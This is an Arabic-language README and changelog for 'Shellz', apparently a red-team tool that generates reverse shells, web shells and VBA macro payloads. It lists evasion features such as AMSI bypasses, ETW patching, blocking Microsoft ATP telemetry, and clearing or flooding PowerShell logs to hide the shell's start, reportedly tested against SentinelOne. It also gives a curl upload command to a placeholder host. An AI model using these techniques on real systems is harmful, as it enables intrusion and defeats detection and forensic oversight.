Shellz

برنامج نصي لتوليد شل عكسية شائعة بسرعة وسهولة.
مفيد بشكل خاص عند الحاجة إلى شل عكسية لـ PowerShell و Python، والتي قد تكون مزعجة جدًا للحصول عليها بصيغة صحيحة.

شل عكسية لـ PowerShell

• يعرض username@computer.(domain) فوق الموجه والدليل الحالي
• يحتوي على تجاوز جزئي وكامل لـ AMSI
• شل TCP و UDP و SSL
• شل TCP عكسية مخصصة جديدة!
• شل SSL عكسية مخصصة جديدة!
• التحميل الانعكاسي theart42's الرائع Sharpcat!
• Windows PowerShell و Core PowerShell
• دوال لرفع وتنزيل الملفات (باستخدام Updog من sc0tfree)

Python

• لا يوجد PowerShell؟ لا مشكلة! تحميل بايثون مضمن. ملفات موقعة وموثوقة من قبل Microsoft Intelligent Security Graph.

دعم ngrok

• يمكن بدء/إيقاف ngrok من داخل البرنامج النصي
• سيتم توليد الحمولات بعناوين ngrok

دعم Updog

• يمكن بدء/إيقاف Updog من داخل البرنامج النصي
• شل PowerShell العكسية تحتوي على دالة رفع/تنزيل مدمجة
• للرفع من nix باستخدام curl: curl -F path="absolute path for Updog-folder" -F file=filename http://UpdogIP/upload

لتثبيت Shells من git

git clone https://github.com/4ndr34z/shells
cd shells
./install.sh

لتثبيت shells على BlackArch:

pacman -S shellz

لقطات الشاشة

التبعيات المطلوبة

netcat, rlwrap, jq, basenc (coreutils)

التبعيات الاختيارية

updog, ngrok, xclip

فيديو يوتيوب

Shellz 1.7.5

الإصدار 1.7.7

• تمت إضافة خيار تهيئة Windows Terminal في قسم PowerShell

الإصدار 1.7.6

• تمت إضافة خيار تحت Python لاستخدام بايثون مضمن في ماكرو VBA

الإصدار 1.7.5

• تمت إضافة خيار تحت PowerShell للتحميل المرحلي لتجاوز وضع اللغة المقيدة باستخدام msbuild.exe

الإصدار 1.7.4

• تم تغيير الحمولة لبايثون مضمن. لم يعد يتم حفظ البرنامج النصي على القرص
• تم تشويش شل بايثون العكسية بعض الشيء

الإصدار 1.7.3

• تم إصلاح خطأ مطبعي في حمولة Python3 لنظام Windows
• تمت إضافة خيار لاستخدام بايثون مضمن للحصول على شل عكسية على نظام Windows لا يحتوي على بايثون مثبت ودون استخدام PowerShell.

الإصدار 1.7.1

• تمت إضافة PS إلى الموجه في شل SSL
• تم تقصير تجاوز AMSI الكامل

الإصدار 1.7

• تمت إزالة رسالة "updog is not running" عندما لم يتم تفعيله أولاً
• تمت إزالة بعض التحديدات التلقائية في القوائم

الإصدار 1.6.9

• تم إصلاح خطأ في أمر حظر MDE
• تمت إضافة خيارات أمر التهيئة: cmd, conhost, powershell (إذا كانت الحمولة أكثر من 8191 حرفًا، يجب بدؤها من PowerShell مباشرة)

الإصدار 1.6.8

• ملء "Microsoft-Windows-PowerShell/Operational" بمزيد من الإدخالات للتأكد من دفع سجل التنفيذ الأولي للبرنامج النصي (يعمل فقط إذا تم تمكين تسجيل scriptblock على الهدف)

الإصدار 1.6.7

• كان لدينا ترميز Base64 آمن للعناوين فقط. تمت إضافة ترميز base64 عادي للحمولات.

الإصدار 1.6.6

• تمت إضافة خيار لملء سجل PowerShell. سيبدأ عددًا من جلسات PowerShell، تمرير سلسلة طويلة ثم الخروج. سيؤدي ذلك إلى ملء السجل عند تمكين تسجيل scriptblock، مما يدفع الإدخالات السابقة للخارج وبالتالي إزالة حدث ظهور الشل نفسه. قد يمنع اكتشاف EDR. تم الاختبار بنجاح على SentinelOne.
• تم إصلاح التحديدات المربكة في القوائم. تمت إزالة الإدخال التلقائي عند تحديد الخيارات في معظم القوائم.
• تمت إضافة مستمع Metasploit Multi/handler

الإصدار 1.6.5

• تمت إضافة تصحيح ETW لـ PowerShell
• تمت إضافة تجاوز AMSI كامل مضمن لـ PowerShell
• تمت إضافة فحص طول الحمولة. الحد الأقصى لطول السلسلة التي يمكن استخدامها في موجه الأوامر Windows (cmd.exe) هو 8191 حرفًا.

الإصدار 1.6.4

• تم إصلاح شل SSL لـ PowerShell

الإصدار 1.6.3

• تمت إضافة توسيع المتغيرات على حمولة PowerShell، مما يجعلها تعمل من ملفات Batch دون تعديلها

الإصدار 1.6.2

• إعادة التسمية إلى Shellz

الإصدار 1.6.1

• بدء المستمع في نافذة جديدة (اختياري على Linux)

الإصدار 1.6

• PowerShell: تمت إضافة خيار للتحميل الانعكاسي لـ Sharpcat

الإصدار 1.5.9

• PowerShell: شل SSL مخصص جديد
• PowerShell: تمت إضافة خيارات لاختيار TCP/UDP/SSL
• PowerShell/OpenSSL: الافتراضي للمستمع الصحيح عند استخدام SSL

الإصدار 1.5.8

• تم تحديث المثبت لاستخدام برنامج نصي غلاف (تذكر حذف /usr/local/bin/shells عند الترقية من < 1.5.8)

الإصدار 1.5.7

• PowerShell: تم بناء شل TCP عكسية فريدة لا تستخدم Net.Sockets.TCPClient
• PowerShell: الآن يتم عرض رسائل الخطأ عن بعد بشكل صحيح

الإصدار 1.5.6

• PHP: تمت إضافة خيارات ومزيد من الحمولات

الإصدار 1.5.5

• تمت إضافة خيار على الحمولات الأخرى لتغيير الشل

الإصدار 1.5.4

• Powershell: تم إصلاح حمولة NIX
• Powershell: تم تحديث الحمولة للتحميل الانعكاسي لـ C#

الإصدار 1.5.3

• Powershell: تمت إضافة خيارات للحمولة في القائمة.

الإصدار 1.5.2

• PowerShell: تم تغيير الشل العكسية لتجاوز المزيد من بائعي مكافحة الفيروسات
• Powershell: تمت إضافة قاعدة جدار حماية تمنع MS ATP من الاتصال بالمنزل (إذا كان المستخدم الجاري لديه صلاحية)
• Powershell: تم تحديث VBA (ماكرو Office من Microsoft)

الإصدار 1.5.1

• PowerShell: تعطيل تسجيل scriptblock وفحص المحتوى المشبوه
• PowerShell: مسح سجلات أحداث PowerShell (إذا كان المستخدم الجاري لديه صلاحية)

الإصدار 1.5.0

• PowerShell: تمت إضافة حمولات VBA لماكرو Office من Microsoft
• تمت إضافة بعض حمولات node.js

الإصدار 1.4.9

• تمت إضافة شل C# بسيط.
• تمت إضافة حمولة للتحميل الانعكاسي لشل C# في الذاكرة (بحاجة إلى تجاوز AMSI كامل)
• تغطية ذلك بإضافة تجاوز AMSI الكامل من Rastamouse
• PowerShell: يمكنك تلقائيًا رفع وتشغيل تجاوز AMSI الكامل. التجاوز الجزئي لـ AMSI يجعل هذا ممكنًا.
• شل C#: رفع وتشغيل تجاوز AMSI الكامل تلقائيًا قبل تحميله في الذاكرة
• حالة Updog و ngrok تظهر في كل قائمة

الإصدار 1.4.8

• أحيانًا الأقل هو الأكثر. تمت إزالة التمويه على شل PowerShell العكسية TCP/UDP، لأنه في الواقع يحفز مكافحة الفيروسات أكثر مما يتجاوزها، وأصبحت الحمولة كبيرة جدًا :-) لا يزال يستخدم العشوائية.

الإصدار 1.4.6

• تمت إضافة شل ويب (ASPX, PHP, JSP)

الإصدار 1.4.5

• تمت إضافة ملفين ثنائيين لشل عكسية بلغة C++ لنظام Windows 32 و 64 بت.

الإصدار 1.4.4

• تم إصلاح معالجة بدء/إيقاف Updog

الإصدار 1.4.3

• تمت إضافة دعم Updog
• تمت إضافة ملفات Netcat الثنائية.
• Powershell: تم إنشاء وظيفة رفع/تنزيل (الرفع يتطلب Updog لاستقبال الملفات)
• تمت إضافة مزيد من المعلومات حول تشغيل ngrok و Updog.

الإصدار 1.4.2

• PowerShell: تمت إضافة "تجاوز AMSI مصغر" جديد (تجاوز جزئي) يعتمد على طريقة Reflection من Matt Graebers
• PowerShell: تمت إضافة دالة "رفع" في شل PowerShell العكسية

الإصدار 1.4.1

• تمت إزالة AMSI. لم يتم اختباره بما فيه الكفاية :-)

الإصدار 1.4

• تمت إضافة تجاوز AMSI لحمولات PowerShell

الإصدار 1.3.9

• تم إصلاح خطأ عند تعيين المنفذ
• تم تغيير المنفذ الافتراضي إلى 443
• PowerShell: تم تمويه بعض الإضافات

الإصدار 1.3.8

• PowerShell: تغييرات طفيفة في حمولة UDP

الإصدار 1.3.7

• استخدام nc الأصلي فقط على macOS، لأن الإصدار من homebrew لا يعمل على UDP الوارد
• PowerShell: تمت إضافة حمولات UDP

الإصدار 1.3.6

• PowerShell: تمت إضافة المزيد من الحمولات

الإصدار 1.3.5

• PowerShell: تمت إضافة بعض العشوائية والتمويه للحمولة

الإصدار 1.3.4

• PowerShell: استخدام ترميز UTF8 في الحمولة

الإصدار 1.3.3

• تمت إضافة Golang

الإصدار 1.3.2

• تمت إضافة OpenSSL

الإصدار 1.3.1

• تم إصلاح خطأ في شل Python العكسية
• تمت إضافة awk
• تمت إضافة Bash UDP

الإصدار 1.3

• تمت إضافة شل Python العكسية لنظام Windows

الإصدار 1.2.9

• تمت إضافة حالة تشغيل ngrok

الإصدار 1.2.8

• إخفاء خيار ngrok إذا لم يكن مثبتًا

الإصدار 1.2.7

• تم إصلاح خيارات التثبيت: عدم تنفيذ الخيار الافتراضي عند الضغط على Enter دون اختيار

الإصدار 1.2.6

• تمت إضافة دعم ngrok.

الإصدار 1.2.4

• تمت إضافة برنامج نصي للتثبيت
• تمت إضافة خيارات تثبيت للتحقق من التبعيات المفقودة وتثبيتها

الإصدار 1.2.3

• تمت إضافة بضع شل PHP

الإصدار 1.2.2

• تمت إضافة شل لـ: Ruby, Perl, Telnet و zsh

الإصدار 1.2.1

• تمت إضافة نسخ إلى الحافظة باستخدام pbcopy على macOS
• تمت إضافة معلومات حول استماع netcat حيث أن إصدارات macOS لا تعرض ذلك

الإصدار 1.2

• تمت إضافة شل netcat المتكررة. تعاود الاتصال كل 10 ثوانٍ. رائعة في حالة فقدان الشل الخاص بك
• تمت إضافة فحص لـ netcat GNU netcat 0.7.0 Homebrew عند التشغيل على macOS

الإصدار 1.1

• تمت إضافة دعم لـ macOS